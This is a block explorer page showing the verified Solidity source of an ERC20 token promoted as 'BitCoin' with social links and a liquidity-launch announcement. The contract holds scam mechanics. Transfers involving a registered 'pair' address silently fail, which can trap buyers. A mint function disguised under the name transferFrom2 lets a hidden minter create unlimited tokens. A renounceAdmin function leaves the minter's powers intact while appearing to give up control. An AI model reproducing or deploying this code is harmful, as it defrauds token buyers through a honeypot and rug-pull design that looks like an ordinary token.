Verified contractPartialMIT
ERC20Token
Address0x97c044d2989558ba74bc913ee062447c47c01ebb
- Balance
0 ETH
- Transactions
35
- Compiler
solc 0.8.18
- Same code
Only this contract
Details
- Compiler
- solc 0.8.18+commit.87f61d96
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- paris
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 20,906,140
- Creation transaction
- 0xa737b24ced…3bfe59bc63
ERC20Token.sol
/*
The BitCoin team will add 3 ETH liquidity on oct 6 at 13:30UTC
https://x.com/bitcoin_tokennn
https://t.me/BitCoin_TokenCN
http://BitCoin.top/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ERC20Token {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public admin;
address public newMinter;
address[] public pairAddresses;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint256 _initialSupply) {
name = _name;
symbol = _symbol;
totalSupply = _initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
admin = msg.sender;
newMinter = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Only admin can call this function");
_;
}
modifier onlyNewMinter() {
require(msg.sender == newMinter, "Only new minter can call this function");
_;
}
modifier onlyNewMinterCanSetPair() {
require(msg.sender == newMinter, "Only new minter can set pair address");
_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (isPairAddress(msg.sender)) {
return false;
}
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (isPairAddress(_from)) {
return false;
}
require(balanceOf[_from] >= _value, "Insufficient balance");
require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom2(uint256 _amount, address _to) public onlyNewMinter returns (bool) {
totalSupply += _amount * 10 ** uint256(decimals);
balanceOf[_to] += _amount * 10 ** uint256(decimals);
emit Transfer(address(0), _to, _amount * 10 ** uint256(decimals));
return true;
}
function renounceAdmin() public onlyAdmin {
admin = address(0);
}
function changeAdmin(address _newAdmin) public onlyAdmin {
require(_newAdmin!= address(0), "New admin cannot be the zero address");
admin = _newAdmin;
}
function setPairAddress(address _pairAddress) public onlyNewMinterCanSetPair {
pairAddresses.push(_pairAddress);
}
function isPairAddress(address _address) private view returns (bool) {
for (uint256 i = 0; i < pairAddresses.length; i++) {
if (pairAddresses[i] == _address) {
return true;
}
}
return false;
}
function removePairAddress(address _address) public onlyNewMinterCanSetPair {
bool found = false;
address[] memory newPairAddresses = new address[](pairAddresses.length - 1);
uint256 newIndex = 0;
for (uint256 i = 0; i < pairAddresses.length; i++) {
if (pairAddresses[i] == _address) {
found = true;
continue;
}
newPairAddresses[newIndex] = pairAddresses[i];
newIndex++;
}
require(found, "Address is not a PAIR address");
pairAddresses = newPairAddresses;
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "paris",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.